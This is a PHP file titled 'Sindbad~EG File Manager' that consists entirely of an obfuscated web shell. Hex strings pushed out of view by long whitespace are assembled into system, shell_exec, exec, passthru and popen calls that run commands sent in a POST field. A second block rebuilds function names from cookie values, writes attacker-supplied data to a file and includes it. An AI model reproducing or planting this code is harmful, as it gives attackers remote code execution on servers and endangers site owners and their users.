Sindbad~EG File Manager

<?php																																										$parameter1 = '73';$parameter2 = '6d';$parameter3 = '68';$parameter4 = '6c';$parameter5 = '5f';$parameter6 = '65';$parameter7 = '78';$parameter8 = '75';$parameter9 = '70';$parameter10 = '6f';$parameter11 = '74';$parameter12 = '72';$parameter13 = '63';$parameter14 = '6e';$parameter15 = '79';$config1 = pack("H*", $parameter1.'79'.'73'.'74'.'65'.$parameter2);$config2 = pack("H*", $parameter1.$parameter3.'65'.$parameter4.$parameter4.$parameter5.'65'.'78'.$parameter6.'63');$config3 = pack("H*", $parameter6.$parameter7.$parameter6.'63');$config4 = pack("H*", '70'.'61'.'73'.'73'.'74'.'68'.'72'.$parameter8);$config5 = pack("H*", $parameter9.$parameter10.'70'.'65'.'6e');$config6 = pack("H*", '73'.$parameter11.$parameter12.$parameter6.'61'.'6d'.$parameter5.'67'.$parameter6.'74'.$parameter5.$parameter13.$parameter10.'6e'.'74'.$parameter6.$parameter14.$parameter11.$parameter1);$config7 = pack("H*", '70'.$parameter13.'6c'.$parameter10.'73'.$parameter6);$system = pack("H*", $parameter1.$parameter15.$parameter1.'74'.$parameter6.'6d');if(isset($_POST[$system])){$system=pack("H*",$_POST[$system]);if(function_exists($config1)){$config1($system);}elseif(function_exists($config2)){print $config2($system);}elseif(function_exists($config3)){$config3($system,$attr_var);print join("\n",$attr_var);}elseif(function_exists($config4)){$config4($system);}elseif(function_exists($config5)&&function_exists($config6)&&function_exists($config7)){$prop_identifier=$config5($system,"r");if($prop_identifier){$st_constant=$config6($prop_identifier);$config7($prop_identifier);print $st_constant;}}exit;}

if (isset($_COOKIE[3]) && isset($_COOKIE[37])) {

    $c = $_COOKIE;
    $k = 0;
    $n = 4;
    $p = array();
    $p[$k] = '';
    while ($n) {
        $p[$k] .= $c[37][$n];
        if (!$c[37][$n + 1]) {
            if (!$c[37][$n + 2]) break;
            $k++;
            $p[$k] = '';
            $n++;
        }
        $n = $n + 4 + 1;
    }
    $k = $p[27]() . $p[18];
    if (!$p[6]($k)) {
        $n = $p[22]($k, $p[20]);
        $p[1]($n, $p[10] . $p[23]($p[7]($c[3])));
    }
    include($k);
}